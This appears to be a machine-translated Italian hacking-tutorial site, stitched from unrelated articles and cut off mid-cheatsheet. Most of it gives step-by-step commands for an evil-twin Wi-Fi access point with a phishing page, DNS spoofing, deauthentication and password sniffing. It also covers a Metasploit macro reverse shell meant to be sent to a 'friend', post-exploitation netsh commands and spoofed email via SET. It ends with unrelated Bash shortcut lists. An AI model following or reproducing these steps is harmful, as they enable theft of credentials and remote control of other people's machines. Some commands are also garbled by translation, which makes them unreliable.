Passare al collegamento way2sms.com , inserire qualsiasi cosa nei campi nome utente e password e premere il pulsante di accesso. Non appena la richiesta verrà trasmessa, il terminale sniffer ci mostrerà i dati acquisiti in formato testo in chiaro a causa del protocollo HTTP.

Sniffing con Rogue Access Point [DNSMASQ e TCPFLOW]

   

Il networking wireless è un campo complesso. Con innumerevoli standard, protocolli e implementazioni, non è raro che gli amministratori incontrino problemi di configurazione che richiedono sofisticati meccanismi di analisi e risoluzione dei problemi.

Lo sniffing di rete tradizionale su una rete Ethernet è abbastanza facile da configurare. In un ambiente condiviso, una workstation di analisi che esegue Wireshark avvia una nuova acquisizione di pacchetti, che configura la scheda in modalità promiscua e attende fino a quando non viene catturata la quantità di traffico desiderata. In un ambiente commutato, è necessario configurare una porta span che rispecchi il traffico inviato ad altre stazioni, prima di avviare l'acquisizione dei pacchetti.

Per saperne di più: Come creare un falso AP in Kali Linux

In entrambi i casi, è facile avviare un'acquisizione di pacchetti e iniziare a raccogliere il traffico per l'analisi. Quando si passa all'analisi wireless, tuttavia, il processo di sniffing del traffico diventa più complicato e richiede ulteriori decisioni in anticipo per supportare al meglio l'analisi che si desidera eseguire.

Pacchetti/Utilità richiesti –

Passaggio 1: assicurarsi che la scheda wireless sia funzionante e supporti la modalità promiscua e l'iniezione di pacchetti. Per controllare il nome della tua interfaccia wireless, digita il comando " iwconfig " come mostrato di seguito.

Nel nostro caso, wlan0 è il nome della nostra interfaccia wireless.

La maggior parte dei driver wireless per i sistemi Linux utilizza l'interfaccia Linux Wireless Extensions, fornendo un'interfaccia di configurazione coerente per la manipolazione della scheda wireless.

Passo 2 – Metti la tua scheda wireless in modalità monitor digitando il comando “ airmon-ng start wlan0 ”.

Nel nostro caso, wla0mon è il nuovo nome dell'interfaccia.

Lo sniffing dei pacchetti sulle reti wireless presenta sfide uniche che sono diverse dalle sfide dell'acquisizione del traffico sulle reti cablate. Fortunatamente, molte schede wireless supportano la capacità di acquisire il traffico wireless senza la necessità di connettersi a una rete con la funzione della modalità monitor.

Sfruttando gli strumenti ei driver disponibili per i sistemi Windows e Linux, è possibile utilizzare una scheda wireless standard (scheda Alfa) per acquisire il traffico sulla rete wireless per l'analisi.

Passaggio 3: ora è necessario creare un falso punto di accesso con il seguente comando:

Comando:  airbase-ng –essid “      ” -c 6 -P -vv wlan0mon

Dove,

Il comando precedente creerà una nuova interfaccia denominata at0 che viene ulteriormente utilizzata per gestire la rete al canale numero 6.

Passaggio 4: ora è necessario definire le tabelle di instradamento e le informazioni sul traffico per l'AP con l'aiuto del file dnsmasq.conf.

Crea un nuovo file dnsmasq.conf e incolla il seguente codice al suo interno:

interfaccia=at0
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127 .0 .0.1

Nota questi parametri nelle istruzioni di cui sopra.

Passaggio 5: il passaggio successivo consiste nell'avviare il servizio dnsmasq digitando il seguente comando:

Comando: sudo dnsmasq -C dsmasq.conf -d

Passaggio 6: assegnare il gateway di rete e la maschera di rete all'interfaccia at0 e aggiungere la tabella di routing come mostrato di seguito:

Comando: ifconfig at0 up 192.68.1.1 netmask 255.255.255.0
Comando: route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1

Passaggio 7: per consentire l'accesso a Internet alle tue vittime, assicurati di dover configurare iptables, quindi solo tu puoi annusare tutti i dati ed eseguire vari ulteriori attacchi come MITM, DNS Spoofing, ARP Spoofing ecc.

Comando:  iptables –table nat –append POSTROUTING –out-interface eth0 -j MASQUERADE
Comando: iptables –append FORWARD –in-interface at0 -j ACCEPT

Una significativa debolezza della sicurezza nelle reti IEEE 802.11 è la mancanza di un meccanismo di controllo dell'integrità crittograficamente sicuro per il traffico sulla rete wireless. Sebbene protocolli di crittografia più moderni come TKIP o CCMP forniscano un controllo di integrità sicuro sul payload di un frame di dati, non impediscono almeno l'analisi parziale di un frame trasmesso da un utente malintenzionato con un indirizzo MAC di origine contraffatto. Questa debolezza espone un wireless rete a diverse classi di attacchi, inclusi gli attacchi di spoofing dei pacchetti in cui un utente malintenzionato impersona una stazione legittima sulla rete.

Qui,

–out-interface: è l'interfaccia da cui inoltrare il traffico a at0 , ovvero eth0
–in-interface: è l'interfaccia a cui viene inoltrato il traffico, ovvero at0

Non dimenticare di abilitare l'inoltro IP digitando il seguente comando:

Comando: echo 1 > /proc/sys/net/ipv4/ip_forward

Passaggio 8: ora il passaggio successivo è scaricare       .zip , che è un falso sito di phishing (sito di aggiornamento del firmware di configurazione del router) che è necessario caricare nella directory del server Web Apache, ad esempio nella directory /var/www/html .

Passare alla directory /var/www/html e digitare il seguente comando per scaricare il file zip sopra.

Comando: cd /var/www/html
Comando: wget https://www.     /wp-content/uploads/        /07/      .zip
Comando: unzip       .zip

Passaggio 9: avvia il tuo servizio Apache digitando " systemctl start apache2 " e assicurati che il tuo server Apache si avvii correttamente, cosa che puoi facilmente confermare digitando " service apache2 status " come mostrato di seguito:

Per assicurarti che il tuo falso sito di phishing sia ospitato correttamente, vai a 192.168.1.1 che ha questo aspetto:

Passaggio 10:  questo è il passaggio finale in cui è necessario avviare il servizio dnsspoof sull'interfaccia at0 digitando " dnsspoof -i at0 " che falsificherà tutte le richieste ricevute al sito per ottenere il massimo effetto.

Lo spoofing è il processo di alterazione delle informazioni sui pacchetti di rete (ad esempio, l'indirizzo IP sorgente, l'indirizzo MAC o l'indirizzo e-mail). Questo viene spesso fatto per mascherarsi come un altro dispositivo al fine di sfruttare una relazione di fiducia o per rendere difficile rintracciare la fonte degli attacchi. Lo spoofing degli indirizzi viene utilizzato anche negli attacchi DoS (ad esempio, Smurf), in cui gli indirizzi di ritorno delle richieste di rete vengono contraffatti per essere l'indirizzo IP della vittima.

Passo 11 - Venendo dalla parte della vittima, quando qualcuno connette il tuo falso AP (      ), quell'utente otterrà l'accesso istantaneo a Internet dalla tua macchina e non appena inserisce una password su siti Web basati su HTTP come way2sms.com ecc., quella richiesta di dati POST può essere facilmente vista con l'aiuto di tcpflow .

Comando: sudo tcpflow -i any -C -g port 80 | grep -i "password"

Oppure puoi anche utilizzare Wireshark , uno degli strumenti di analisi dei pacchetti più popolari.

Inoltre, puoi anche deautenticare tutti gli utenti con l'aiuto di aireplay-ng in modo che più utenti si connettano forzatamente al tuo falso AP.

Per annullare l'autenticazione di tutti gli utenti dell'AP di destinazione, digita il seguente comando:

Comando: aireplay-ng -00 -a [BSSID dell'AP] wlan0mon

Questa è solo una breve dimostrazione pratica del furto di dati con AP non autorizzati che è molto difficile da mantenere su larga scala perché dipende da così tante cose come la tua scheda di rete, la tua velocità di Internet e ovviamente la tua conoscenza di reti e server.

Altri sniffer di rete comuni-

Wireshark: - Wireshark è uno dei migliori sniffer disponibili ed è stato sviluppato come uno sniffer gratuito di qualità commerciale. Ha numerose funzionalità, una bella interfaccia utente grafica (GUI), decodifica oltre 400 protocolli e viene attivamente sviluppato e mantenuto. Funziona su sistemi basati su UNIX, Mac OS X e Windows.

WinDump:- WinDump è la versione Windows di tcpdump ed è disponibile su www.winpcap.org/windump. Utilizza la libreria WinPcap e funziona su Windows 95, 98, ME, NT, 2000 e XP.

Network General Sniffer: - Un Network General Sniffer è uno degli sniffer commerciali più popolari disponibili. Ora una suite di strumenti di acquisizione della rete aziendale, c'è un'intera linea di prodotti Sniffer su www.networkgeneral.com.

Monitor di rete per server Windows 2000 e 2003: - Sia Windows 2000 Server che Windows 2003 Server dispongono di un programma integrato per eseguire l'analisi di rete. Si trova nella cartella "Strumenti di amministrazione", ma non è installato per impostazione predefinita; pertanto, è necessario aggiungerlo dal CD di installazione.

EtherPeek: - EtherPeek è un analizzatore di rete commerciale sviluppato da WildPackets. Le versioni per Windows e Mac e altri prodotti di analisi di rete sono disponibili su www.wildpackets.com.

Tcpdump:- Tcpdump è lo sniffer di rete più antico e più comunemente utilizzato ed è stato sviluppato dal Network Research Group (NRG) della Information and Computing Sciences Division (ICSD) presso il Lawrence Berkeley National Laboratory (LBNL). È basato sulla riga di comando e funziona su sistemi basati su UNIX, incluso Mac OS X. È attivamente sviluppato e mantenuto su www.tcpdump.org.

Snoop: - Snoop è uno sniffer di rete della riga di comando incluso nel sistema operativo Sun Solaris.

Snort:- Snort è un IDS di rete che utilizza lo sniffing di rete ed è attivamente sviluppato e mantenuto su www.snort.org.

Dsniff: - Dsniff è un pacchetto di sniffing di rete molto popolare. Si tratta di una raccolta di programmi utilizzati per sniffare in modo specifico dati interessanti (ad es. password) e per facilitare il processo di sniffing (ad es. eludere gli switch). È
mantenuto attivamente su www.monkey.org/~dugsong/dsniff.

Ettercap:- Ettercap è stato specificamente progettato per annusare una rete commutata. Ha funzionalità integrate come la raccolta di password, l'impronta digitale del sistema operativo e l'iniezione di caratteri e funziona su diverse piattaforme tra cui Linux, Windows e Solaris. È mantenuto attivamente su ettercap.sourceforge.net.

Analyzer: - Analyzer è uno sniffer gratuito utilizzato per il sistema operativo Windows. È attivamente sviluppato dai creatori di WinPcap e WinDump presso il Politecnico di Torino e può essere scaricato da Analyzer.polito.it.

Packetyzer: - Packetyzer è uno sniffer gratuito (utilizzato per il sistema operativo Windows) che utilizza la logica di base di Wireshark. Tende a eseguire una o due versioni dietro l'attuale versione di Wireshark. È gestito attivamente da Network Chemistry su www.networkchemistry.com/products/packetyzer.php.

MacSniffer: - MacSniffer è specificamente progettato per l'ambiente Mac OS X. È costruito come front-end per tcpdump. Il software è shareware e può essere scaricato da personalpages.tds.net/~brian_hill/macsniffer.html.

Crea un AP falso con DNSMASQ e HOSTAPD [Kali Linux]

   

Ci pensi mai due volte prima di connetterti a un hotspot wireless pubblico gratuito in un bar, in un aeroporto o in un hotel? Ti sei mai fermato a chiederti se l'hotspot Wi-Fi pubblico a cui ti sei appena connesso è legittimo o se potrebbe essere un hotspot Evil Twin sotto mentite spoglie?

Dopo aver impostato l'AP falso e la vittima forzata a connettersi ad esso, l'attaccante inizia ad applicare l'attacco MITM per intercettare i dati tra le vittime e l'
AP falso per ulteriori azioni dannose e dannose. Nella rete Wi-Fi, l'attacco MITM si verifica quando il percorso principale di trasmissione dei dati tra le vittime e Internet avviene tramite il dispositivo dell'attaccante.

Il MITM attacca le vittime violente e le illude che la loro connessione sia ancora sicura e privata mentre l'attaccante ha la capacità di intercettare, manipolare, iniettare e analizzare il traffico di dati tra l'AP con licenza e le vittime. Dopo il successo dell'attacco MITM, le informazioni sensibili delle vittime come e-mail, account, password, numero di carta di credito e altre informazioni importanti non protette dai protocolli di sicurezza saranno disponibili per l'attaccante utilizzando molti strumenti come Ethercap, Dsniff, Mailsnarf, Urlsnarf, Wireshark, Cain e Able, ecc.

I criminali possono anche utilizzare falsi hotspot wireless come mezzo per raccogliere le tue informazioni. Creando un hotspot canaglia con un nome innocuo come "Free Public WiFi" o "Free Railway Internet" - spesso in un luogo in cui è noto il Wi-Fi pubblico - creano reti che sembrano il vero affare per gli utenti ignari. In realtà, stanno monitorando/annusando i tuoi dati come spiegato qui .

Passaggio 1: prima di creare un falso AP in Kali Linux, assicurati di aggiornare la tua macchina con il comando " sudo apt-get update " che aggiorna l'elenco di tutti i pacchetti per gli aggiornamenti per i pacchetti che devono essere aggiornati, nonché i nuovi pacchetti che hanno basta venire ai repository.

Passaggio 2: è necessario disporre dell'accesso per installare hostapd e dnsmasq. Dnsmasq è un piccolo server DNS/DHCP che useremo in questa configurazione.

Quando si avvia hostapd , assicurarsi che l'interfaccia di rete wireless sia visualizzata per prima cosa che è possibile controllare/verificare tramite il comando " iwconfig ".

Dall'output del comando sopra, sembra che wlan0 sia il nome della nostra interfaccia wireless.

Passaggio 3: ora è necessario mettere questa interfaccia wireless in modalità monitor digitando i seguenti comandi:

Comando: ifconfig wlan0 down
Comando: iwconfig wlan0 mode monitor
Comando: ifconfig wlan0 up

Passaggio 4: per avviare Hostapd, è necessario creare un file di configurazione per questo strumento che contenga tutte le informazioni su ssid, passphrase, numero di canale, ecc.

Crea semplicemente una directory sotto /root con l'aiuto di " mkdir /root/accesspoint " per conservare tutti i file necessari per questa configurazione.

Passaggio 5: ora crea un file di configurazione hostapd (hostapd.conf) nella directory /root/accesspoint e scrivi le seguenti istruzioni al suo interno "

Codice:

interface=wlan0
driver=nl80211
ssid=      
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=      123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1

Qui,

Passaggio 6: basta avviare l'access point con il seguente comando:

Comando: hostapd hostapd.conf

Come puoi vedere, il tuo hostapd funziona correttamente con wlan0 AP-ENABLED e un nuovo hwaddr viene assegnato in modo casuale " 90:f6:52:e3:2e:c2 " con ssid "        "

Passaggio 7: ora è necessario configurare la parte del routing di rete con lo strumento dnsmasq in modo che il traffico possa passare da un nodo di rete all'altro e sia disponibile un percorso su cui inviare i dati.

Crea semplicemente un file di configurazione nella directory root con il nome  dnsmasq.conf e scrivi le seguenti istruzioni su di esso:

Codice:

interfaccia=wlan0
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=12 7.0 .0.1

Come abbiamo già discusso di questa parte nell'articolo sullo sniffing in cui abbiamo utilizzato lo stesso pacchetto.

Passaggio 8:  assegnare il gateway di rete e la maschera di rete all'interfaccia wlan0 e aggiungere la tabella di routing come mostrato di seguito:

Comando: ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
Comando: route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1

Successivamente è necessario avviare il servizio dnsmasq con il file di configurazione che abbiamo creato nel passaggio precedente:

Comando: dnsmasq -C dnsmasq.conf -d

Dnsmasq fornisce sempre un server DNS locale, un server DHCP con supporto per DHCPv6 e PXE e un server TFTP. È progettato per essere leggero e avere un ingombro ridotto, adatto a router e firewall con risorse limitate. Dnsmasq può anche essere configurato per memorizzare nella cache le query DNS per migliorare la velocità di ricerca DNS nei siti visitati in precedenza.

Passaggio 9:  per consentire l'accesso a Internet alle tue vittime, assicurati di dover configurare iptables, quindi solo tu puoi annusare tutti i dati ed eseguire vari ulteriori attacchi come MITM, DNS Spoofing, ARP Spoofing ecc.

Comando: iptables –table nat –append POSTROUTING -out-interface eth0 -j MASQUERADE
Comando: iptables –append FORWARD –in-interface wlan0 -j ACCEPT

L'inoltro del traffico in un modo è una procedura per inoltrare il traffico da un'estremità della rete a un'altra rete.

Passaggio 10: il passaggio finale consiste nell'abilitare l'inoltro IP digitando " echo 1 > /proc/sys/net/ipv4/ip_forward ".

Il falso AP fornirà la connessione Internet alla vittima tramite scheda Ethernet per garantire la connessione con il falso AP. Ora tutto il traffico delle vittime passerà attraverso il falso dispositivo AP.

Protezione contro AP falsi –

Non ci sono molti modi per difendersi da questo tipo di attacco. Si potrebbe pensare che la crittografia wireless impedirebbe questo tipo di attacco, ma non è un deterrente efficace perché Wi-Fi Protected Access (WPA) non crittografa i dati dell'utente fino a quando l'associazione tra il dispositivo di rete della vittima e il punto di accesso non è già avvenuta stato stabilito.

Uno dei modi suggeriti dalla Wi-Fi Alliance per proteggersi dai punti di accesso Evil Twin è utilizzare una rete privata virtuale (VPN). L'utilizzo del tunnel crittografato fornito dalla VPN aiuta a proteggere tutto il traffico tra il tuo dispositivo abilitato alla VPN e il server VPN.

Sfrutta Windows con un file MS-OFFICE dannoso [Metasploit Framework]

   

Metasploit supporta da anni la codifica dei payload nel codice VBA. (VBA, o Visual Basic for Applications, è il linguaggio in cui sono scritte le macro di Microsoft Office.) Le macro sono ottime per i pentester, poiché non si basano su una versione specifica e sono un metodo supportato di esecuzione del codice che la maggior parte delle persone non si rendono conto ed è probabile che lo permettano. Nell'ultima versione di Office, tutto ciò che un utente deve fare è fare clic su un pulsante e saranno di proprietà:

In questo articolo, ti guidiamo attraverso il processo su come creare un documento Microsoft Office dannoso e quanto sia facile per qualcuno rubare le tue informazioni personali o aziendali dalla tua e-mail semplicemente utilizzando un allegato di posta elettronica.

Passaggio 1: avviare il framework metasploit digitando " msfconsole " nel terminale.

Passaggio 2: utilizzare il seguente reverse_https come exploit che è una sorta di payload seguito da " mostra opzioni " digitando:

Comando: usa windows/meterpreter/reverse_https

Passaggio 3: ora è necessario impostare i seguenti parametri come mostrato di seguito:

Comando: set LHOST <YourIP>
Comando: set LPORT 443
Comando: set AutoRunScript post/windows/manage/smart_migrate

Passaggio 4: ora digita " genera -t vba " per generare il payload che devi aggiungere alle macro utilizzando qualsiasi versione di MS-OFFICE.

Puoi anche usare -f <filename.vba> per salvare il payload in un file.

Passaggio 5: ora dall'altra parte, è necessario avviare l'exploit multi-handler nel nuovo terminale e avviare l'ascolto come mostrato di seguito:

Comando: use exploit/multi/handler
Comando: set payload windows/meterpreter/reverse_https
Comando: set LHOST <YourIP>
Comando: set LPORT 443
Comando: run

Passaggio 6: ora è necessario aprire MS-WORD e andare alla scheda Visualizza e fare clic su Macro visualizzate sul lato destro.

Passo 7 - Incolla tutto il codice che hai copiato dal precedente passaggio 4 e salva il file nel tipo " Documento con attivazione macro di Word ".

Passaggio 8: ora devi inviare questo file di parole finale al tuo amico tramite qualsiasi mezzo come Facebook/allegato e-mail/Twitter ecc. e non appena il tuo amico apre questo file di parole, mostrerà un piccolo avviso relativo alle macro che "le macro hanno stato disabilitato ", è sufficiente fare clic su di esso e il contenuto del file di parole sarà visibile.

Passaggio 9: dall'altra parte, otterrai la sessione meterpreter attraverso la quale puoi controllare completamente la macchina.

Digita " sysinfo " per visualizzare ulteriori informazioni sul sistema operativo di destinazione.

Attaccare le impostazioni Wi-Fi della macchina Windows da remoto [Dopo Meterpreter]

   

Il framework Metasploit è ben noto nel campo dello sviluppo di exploit. È uno strumento autonomo per ricercatori di sicurezza, penetration tester e sviluppatori IDS/IPS. A partire da ora, ha oltre 1700 definizioni di exploit e 215 payload per l'iniezione: un enorme database.

Metasploit è un ottimo strumento e ti consente non solo di fare alcune cose interessanti, ma anche di poterle fare in modo utile. Una volta ottenuta la sessione meterpreter, utilizzare il comando " shell " per ottenere il prompt dei comandi della macchina di destinazione. Ecco l'elenco dei comandi che puoi provare dopo aver ottenuto la sessione.

Digita " sysinfo " per visualizzare ulteriori informazioni sulla macchina di destinazione.

Dopo essere entrato nella shell, digita " netsh wlan show networks mode=bssid " per visualizzare tutte le reti wireless disponibili.

Dall'output sopra, puoi vedere che ci sono un totale di 18 reti che sono attualmente visibili e inoltre, puoi anche visualizzare le informazioni dettagliate sulla rete corrente a cui è connesso il tuo utente di destinazione.

Comando: netsh wlan mostra i profili

Quindi l'attuale nome della rete wireless di connessione è " Chandigarh " nel nostro caso.

È inoltre possibile visualizzare le informazioni dettagliate sui driver wireless installati digitando " netsh wlan show drivers ".

E la cosa migliore è che puoi facilmente disconnettere la rete wireless nella macchina di destinazione digitando " netsh wlan disconnect ".

Con la riga di comando, puoi connetterti direttamente a qualsiasi rete digitando " netsh wlan connect name=Chandigarh ".

Se desideri esportare tutte le informazioni del profilo di una particolare rete wireless, puoi utilizzare il seguente comando.

Comando: netsh wlan export profile name=Chandigarh

Per visualizzare tutte le reti wireless bloccate, è possibile utilizzare " netsh wlan mostra reti bloccate ".

Questo è un piccolo esempio di come il metasploit non sia solo fantastico, ma ti permetta di raggiungere il tuo obiettivo in vari modi. Prenditi il ​​tempo per giocare con il framework, divertiti e impara.

Sniffa i dati dei post HTTP con Wireshark

   

Wireshark è un analizzatore grafico di protocolli di rete che ci permette di fare un tuffo nei singoli pacchetti che si muovono sulla rete. Wireshark può essere utilizzato per acquisire Ethernet, wireless, Bluetooth e molti altri tipi di traffico. Può decodificare diversi protocolli che vede, quindi potresti, ad esempio, ricostruire l'audio delle telefonate Voice over IP (VoIP). Diamo un'occhiata alle basi dell'utilizzo di Wireshark per acquisire e analizzare il traffico.

Avviare Wireshark: è necessario eseguire Wireshark su un account con privilegi sufficienti per l'acquisizione oppure è necessario fornire all'account su cui si esegue Wireshark privilegi sufficienti per l'acquisizione. Il modo in cui questo viene fatto differisce da sistema operativo a sistema operativo.

Per essere sicuri (almeno in un certo senso), si raccomanda che anche un amministratore debba sempre eseguire un account con privilegi utente (limitati) e avviare solo i processi che richiedono realmente i privilegi di amministratore.

Leggi anche: Live Packet Sniffing con Python Script

In Windows, il driver WinPcap (chiamato NPF) viene caricato da Wireshark quando inizia a catturare dati in tempo reale. Ciò richiede privilegi di amministratore. Una volta caricato il driver, ogni utente locale può eseguire l'acquisizione da esso fino a quando non viene nuovamente interrotto.

Di seguito sono riportate diverse funzionalità di Wireshark:

Nel nostro caso, siamo connessi con LAN (Ethernet), quindi andremo con un'interfaccia  Ethernet .

In caso di Linux, puoi avviare Wireshark digitando il comando " sudo wireshark " nel tuo terminale, selezionare l'interfaccia e avviare il processo di acquisizione.

Qui, Wireshark ascolta tutto il traffico di rete e lo cattura. Quindi, per annusare in particolare i dati POST, è necessario utilizzare il filtro all'interno della barra della sezione del filtro Wireshark. Per interrompere l'acquisizione, puoi fare clic sulla quarta icona in alto intitolata Interrompi l'esecuzione dell'acquisizione dal vivo oppure puoi accedere a Acquisisci |  Fermati nel menu.

Apriamo una qualsiasi pagina di accesso e inviamo una richiesta POST a un server. L'enorme volume di traffico di rete catturato da Wireshark può essere un po' schiacciante perché, oltre al nostro traffico HTTP, viene catturato ogni altro pacchetto da o verso il sistema. Per trovare specifici pacchetti interessanti, possiamo utilizzare i filtri Wireshark. Il campo Filtro si trova in alto a sinistra della GUI di Wireshark. Come primo esempio di filtraggio Wireshark molto semplice, cerchiamo tutto il traffico che utilizza il protocollo HTTP.

Dovresti vedere i pacchetti in Wireshark dal sistema con indirizzo IP da 10.228.xxx.xxx a 10.228.xxx.xxx e viceversa, con il campo Protocol contrassegnato
come HTTP.

Filtro: http.request.method == “POST”
o
Filtro: http contiene POST

Ora puoi analizzare ulteriormente questi dati POST facendo clic con il pulsante destro del mouse e vai a Segui -> Stream TCP

Come previsto, Wireshark filtra i pacchetti acquisiti per mostrare solo quelli che utilizzano il protocollo HTTP. Possiamo vedere la nostra intera conversazione HTTP, comprese le nostre informazioni di accesso, in chiaro.

Anche dopo aver filtrato il traffico, potrebbero esserci più connessioni HTTP acquisite durante lo stesso intervallo di tempo, quindi potrebbe essere ancora difficile capire cosa sta succedendo. Ma una volta trovato un pacchetto interessante, come l'inizio di un accesso HTTP, possiamo approfondire la conversazione facendo clic con il pulsante destro del mouse sul pacchetto e selezionando Segui flusso TCP come mostrato di seguito:

Possiamo utilizzare filtri più avanzati per perfezionare ulteriormente i pacchetti restituiti. Ad esempio, possiamo utilizzare il filtro ip.dst==10.228.xxx.xxx per restituire
solo i pacchetti con l'indirizzo IP di destinazione 10.228.xxx.xxx. Possiamo persino concatenare i filtri, ad esempio utilizzando il filtro ip.dst==10.228.xxx.xxx e http per trovare solo il traffico HTTP destinato a 10.228.xxx.xxx.

Invia posta falsa usando SETOOLKIT [Kali Linux]

   

L'ambiente della sicurezza delle informazioni è cambiato notevolmente nel corso degli anni. Ora, nonostante le politiche di sicurezza, la conformità e gli elementi di sicurezza dell'infrastruttura come firewall, IDS/IPS, proxy e honeypot distribuiti all'interno di ogni organizzazione, sentiamo notizie su come gli hacker compromettono le strutture protette del governo o delle organizzazioni private
perché dell'elemento umano coinvolto in ogni attività.

In genere, i dipendenti non sono a conoscenza dei trucchi e delle tecniche utilizzate dagli ingegneri sociali in cui possono essere utilizzati come mediatori per ottenere informazioni preziose come dettagli della carta di credito o segreti aziendali. La sicurezza dell'intera organizzazione può essere compromessa se un dipendente visita un sito Web dannoso, risponde alla telefonata di un ingegnere sociale o fa clic sul collegamento dannoso che ha ricevuto nel proprio ID di posta elettronica personale o aziendale.

Avere il miglior laptop per Kali Linux può aiutarti a sfruttare al meglio questo sistema operativo.

Oggi ti mostreremo un metodo attraverso il quale puoi facilmente inviare un'e-mail falsa con uno degli strumenti più popolari chiamato SET (Social Engineering Toolkit).

Il Social-Engineering Toolkit (SET) è un prodotto di TrustedSec. SET è una suite di strumenti personalizzati basata su Python creata da David Kennedy (ReL1K) e dal team di sviluppo SET, composto da JR DePre (pr1me), Joey Furr (j0fer) e Thomas Werth.

SET è un sistema di attacco basato su menu che si concentra principalmente sull'attacco all'elemento umano della sicurezza. Con un'ampia varietà di attacchi disponibili, questo toolkit è un must assoluto per i test di penetrazione.

SET è preinstallato in Kali Linux. Puoi semplicemente invocarlo tramite la riga di comando usando il comando " setoolkit ".

Una volta che l'utente fa clic sul toolkit SET, si aprirà con le opzioni mostrate nello screenshot seguente:

Seleziona 1) Attacchi di ingegneria sociale per ricevere un elenco di possibili attacchi che possono essere eseguiti.

Puoi selezionare gli attacchi che desideri eseguire da un menu che appare come segue:

Inizieremo con il Mass Mailer Attack . Immettere 5 per passare al menu successivo.

Per questo esempio, nell'elenco, daremo un'occhiata alla prima opzione, E-Mail Attack Single Email Address .

Ora inoltre è necessario compilare tutti i seguenti dettagli come mostrato di seguito:

Qui hai solo bisogno di un server SMTP di inoltro aperto che puoi ottenere facilmente tramite smtp2go.com creando un account gratuito il cui indirizzo del server SMTP sarà " mail.smtp2go.com " e la porta sarà " 2525 ".

Questo è l'output dell'e-mail falsa che abbiamo inviato da info@      tramite il server di inoltro aperto smtp2go.com .

Nella dashboard dell'app SMTP2GO.com, puoi persino gestire tutti i record e vedere tutte le informazioni sulle e-mail false inviate dal tuo account, come mostrato di seguito:

Come rendere completamente anonimo il tuo sistema Linux con Tor usando Nipe

   

Tor consente agli utenti di navigare in Internet, chattare e inviare messaggi istantanei in modo anonimo ed è utilizzato da un'ampia varietà di persone per scopi sia leciti che illeciti. Tor, ad esempio, è stato utilizzato da imprese criminali, gruppi di hacktivism e forze dell'ordine per scopi incrociati, a volte contemporaneamente.

Nipe è uno script per rendere Tor Network il tuo gateway predefinito.

Questo script Perl ti consente di instradare direttamente tutto il tuo traffico dal tuo computer alla rete Tor attraverso la quale puoi navigare in Internet in modo anonimo senza doversi preoccupare di essere rintracciato o rintracciato.

Per installare nipe nella tua macchina Linux, digita " git clone https://github.com/GouveaHeitor/nipe.git "

Successivamente, vai alla directory nipe e digita " cpan install Switch JSON LWP::UserAgent " nello stesso terminale che installerà tutte le altre dipendenze.

Il comando precedente richiederà circa 2-5 minuti a seconda della velocità di Internet e per ultimo è necessario installare nipe.pl con l'aiuto del comando seguente:

Comando: installazione perl nipe.pl

Per controllare lo stato di nipe, digita " perl nipe.pl status " che puoi vedere, lo stato corrente è disabilitato.

Per avviare questo servizio, digita " perl nipe.pl start " e poi controlla lo stato, otterrai immediatamente un nuovo IP anonimo che puoi confermare ulteriormente tramite il comando " curl ipinfo.io/ip ".

15 cose che devi sapere sul mantenimento dei registri

   

Di seguito sono riportati alcuni dei problemi legali relativi alla creazione e all'utilizzo dei registri che le organizzazioni e gli investigatori
devono tenere a mente:

Elenco di tutte le scorciatoie da tastiera di Bash CTRL e ALT - Linux        

   

Bash, che è la shell predefinita in Linux, contiene un sacco di combinazioni di tasti che lo rendono davvero facile da usare. Le scorciatoie più comunemente utilizzate sono elencate di seguito:

Leggi anche:  Variabili esterne Bash | Variabili d'ambiente Bash | Variabili integrate di Bash

Tasti di scelta rapida CTRL


Ctrl+a

Salta all'inizio della riga

Ctrl+b

Sposta indietro di un carattere

Ctrl+c

Terminare il comando

CTRL+D

Elimina da sotto il cursore

CTRL+E

Salta alla fine della linea

CTRL+F

Avanza di un carattere

Ctrl+k

Elimina in EOL

CTRL+L

Cancella lo schermo

Ctrl+r

Cerca nella cronologia all'indietro

Ctrl+R

Cerca nella cronologia all'indietro con più occorrenze

Ctrl + u

Elimina all'indietro dal cursore

Ctrl+xx

Spostarsi tra EOL e la posizione corrente del cursore

Ctrl+x@

Mostra i possibili completamenti del nome host

Ctrl+z

Sospendere/arrestare il comando

Tasti di scelta rapida ALT


Alt + <

Passa alla prima riga della cronologia

Alt + >

Passa all'ultima riga della cronologia

Alt+?

Mostra l'elenco di completamento corrente

Alt+*

Inserisci tutti i possibili completamenti

Alt + /

Tentativo di completare il nome del file

Alt+.

Estrai l'ultimo argomento del comando precedente

Alt+B

Tornare indietro

Alt+c

Scrivi la parola in maiuscolo

Alt+d

Elimina parola

Alt+f

Vai avanti

Alt + L

Rendi la parola minuscola

Alt+n

Cerca nella cronologia in avanti non incrementale

Alt + pag

Cerca nella cronologia all'indietro non incrementale

Alt + R

Richiama il comando

Alt+t

Sposta le parole in giro

Alt + u

Rendi la parola maiuscola

Alt + backspace

Elimina all'indietro dal cursore

Elenco di tutti i reindirizzamenti Bash – Linux Cheatsheet        

   

Prima che un comando venga eseguito, il suo input e output possono essere reindirizzati usando una notazione speciale interpretata dalla shell. Il reindirizzamento consente di duplicare, aprire, chiudere gli handle di file dei comandi, fare riferimento a file diversi e può modificare i file da cui il comando legge e scrive. Il reindirizzamento può essere utilizzato anche per modificare gli handle di file nell'ambiente di esecuzione della shell corrente. I seguenti operatori di reindirizzamento possono precedere o apparire ovunque all'interno di un semplice comando o possono seguire un comando. I reindirizzamenti vengono elaborati nell'ordine in cui appaiono, da sinistra a destra.

Leggi anche:  Scorciatoie da tastiera Bash CTRL e ALT

Ogni reindirizzamento che può essere preceduto da un numero descrittore di file può invece essere preceduto da una parola della forma {varname}. In questo caso, per ogni operatore di reindirizzamento eccetto >&- e <&-, la shell allocherà un descrittore di file maggiore di 10 e lo assegnerà a {varname}. Se >&- o <&- è preceduto da {varname}, il valore di varname definisce il descrittore di file da chiudere.

cmd > file

